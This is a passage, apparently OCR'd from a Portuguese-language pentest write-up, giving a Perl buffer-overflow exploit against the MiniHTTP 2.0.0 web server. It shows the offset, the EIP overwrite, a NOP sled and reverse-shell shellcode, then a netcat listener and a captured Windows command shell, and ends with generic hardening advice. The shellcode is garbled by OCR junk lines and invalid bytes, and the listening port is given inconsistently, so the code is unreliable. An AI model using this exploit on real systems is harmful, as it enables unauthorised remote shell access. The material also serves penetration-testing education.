BV S EAVS WAV CEAVEEAVEVAV CEAVCIAV YAV EIAV CEAVCYAVE LAV EISA VL
"\x81\xeb\x1b\xcc\x1lc\x7e\xab6\x91\x9e\x55\xe5\xaf\x1c\x5f" .
"\x96\x4b\x3c\x2a\x93\x10\xfa\xc7\xe9\x09\x6f\xe7\x5e\x29" .
"\xba";




Criando a estrutura principal:

my $offset = "A"x5483;

my $eip = "\xed\xle\x94\x7c";

my $shellcode =

BV OIAVECIAVCIAVERAVE LAV C LAV G AV C EAVVZAVELAVE AV EL AV ASAY (I
"\xb1\x52\x83\xe8\xfc\x31\x70\x0e\x03\x21\x9e\x47\xcc\x3d" .
"\x76\x05\x2f\xbd\x87\x6a\xb9\x58\xb6\xaa\xdd\x29\xe9\x1la" .
"\Xx95\x7F\x06\xd0\xfb\x6b\x9d\x94\xd3\x9c\x16\x12\x02\x93" .
"\xa7\x0f\x76\xb2\x2b\x52\xab\x14\x15\x9d\xbe\x55\x52\xc0" .
BV EEAVCIAVGIAVEIAVEAVGYAVEEAV C EAVEE AV ETAVIPAV (L AV ET- AV E i R
"\xc3\xed\x6b\x74\x5f\xb4\xab\x77\x8c\xcc\xe5\x6f\xd1\xe9" .
"\xbc\x04\x21\x85\x3e\xcc\x7b\x66\xec\x31\xb4\x95\xec\x76" .
"\Xx73\x46\x9b\x8e\x87\xfb\x9c\x55\xf5\x27\x28\x4d\x5d\xa3" .
"\x8a\xa9\x5f\x60\x4c\x3a\x53\xcd\x1a\x64\x70\xdo\xcf\x1f" .
"\x8c\x59\xee\xcf\x04\x19\xd5\xcb\x4d\xf9\x74\x4a\x28\xac" .
"\x89\x8c\x93\x11\x2c\xc7\x3e\x45\x5d\x8a\x56\xaa\x6c\x34" .
"\xa7\xad\xe7\x47\x95\x6b\x5c\xcf\x95\xe4\x7a\x08\xd9\xde" .
BV E AV CIAV LAV AV E AV CE RV VAV G AV CIAVEVAVEAV G AV CIAV E VAR
"\xeb\x63\xa7\x67\x43\xdc\x08\xd7\x23\x8c\xe@\x3d\xac\xf3" .
AV ¢ NAVETAV CIAVCIAVGEAV AV CHAV CEAVC AV VAAV TA AV Gl AV VAV T4 R
BV CEAVELAVGCIAVCEAV CEAV LAV OVAV (AP CIAVC AV CYAV A AV EVAV @ 1s Rk
BV GEAVEEAV ¥4 AV E RAVCIAVEVAVEIAVCIAVEE AV CIAVE L AV CIAV A AV EY A
BV CIAV(AVCIRAVEAV CIAV CEAV EVAVE AV CEAV CEAVCEAV S WAV CZAV (o T
"\Xxfa\x9d\xd8\x99\x54\x83\x20\x7f\x9e\x07\xff\xbc\x21\x86" .
"\Xx72\xf8\x05\x98\x4a\x01\x02\xcc\x02\x54\xdc\xba\xe4\x0e" .
"\xae\x14\xbf\xfd\x78\xfo\x46\xce\xba\x86\x46\x1b\x4d\x66" .
BV S I AV WAV CEAVCEAVEVAV CEAVCIAV CYAVEIAV CEAVCYAVE LAV EIEAVZE TN
"\x81\xeb\x1b\xcc\x1lc\x7e\xab6\x91\x9e\x55\xe5\xaf\x1c\x5f" .
BV CIAVCIAVEIAVEEAVCEAVEAVE EAV(TAV CEAVCEAV G AV VAV CIAV @A s
"\xba";

my $nop = "\x90"x300;

my $payload = $offset.$eip.$nop.$shellcode;

Para finalizarmos, sera preciso fazer 3 acdes:

1. Iniciar o WEB MiniHTTP 2.0.0 novamente e deixar no modo listen,
sem o Immunity Debug.

2. Colocar o netcat para ouvir na porta 444

3. e executar o exploit.



7.2 RESULTADO DO EXPLOIT

Para que tudo funcione vamos seguir os 3 passos mencionados acima:

[ C:\Documents and Settings\Administrator\Desktop\minihttpd.exe

12 Servidor esta online.

File Actions Edit View Help

/home/kali/Desktop
—if nc -vlp 4444
listening on [any] 4444

i
22 Netcat ouvindo na porta 4444.

32 Execute o exploit no terminal Linux com o seguinte comando:

—(root®kali)-[/home/kali]

L




N3ao esqueca de adicionar o endereco IP do seu alvo no script em Perl.

Apds executar o exploit, verifique o resultado no terminal que o netcat foi
executado ou esta escutando na porta 444.
O resultado da shell sera similar a da imagem abaixo:

root@kali: fhome/kali/Desktop/exploits X root@kali: fhomefkali X
/home/kali

inverse host lookup failed: Unknown host
8.176.128] from (UNKNOWN) [192.168.176.131] 1047
%P [Version 5.1.2600]

Copyright 1985-2801 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>]]




8.0 APPLICATION SECURITY

No contexto de Seguranca de Aplicacdes precisamos adotar algumas
medidas de seguranca, a fim de proteger de futuros ataques, como por
exemplo:

1. Atualizag¢ao dos patches de seguranca;

2. Instalagao de dispositivos de rede, como IPs, WAF, Firewall etc

3. Instalagao de sistemas a nivel de sistema operacional, visando a
integridade de protecao de sistemas operacionais.

4. Revisao de politicas de seguranca, por exemplo, politicas de acesso
etc.

5. Pentest regularmente ao sistema alvo

6. Analise de vulnerabilidade continuo.

Nesse cenario, a recomendac¢ao mais relevante é a remocao das
informacgdes de banners, principalmente as informacgdes sobre o
versionamento do servico.

E se houver atualizagOes, atualize. Caso nao haja atualizagdes, busque
servicos equivalentes que atendam suas demandas diarias.

E para complementar, siga os 4 itens acima para garantir maior protecao
do seu ambiente.

As informacgdes contidas nessa secao, sao recomendacdes padrdoes, mas
uma analise e um estudo profundo do ambiente deve ser realizado para
melhores recomendag¢des mais assertivas e precisas.
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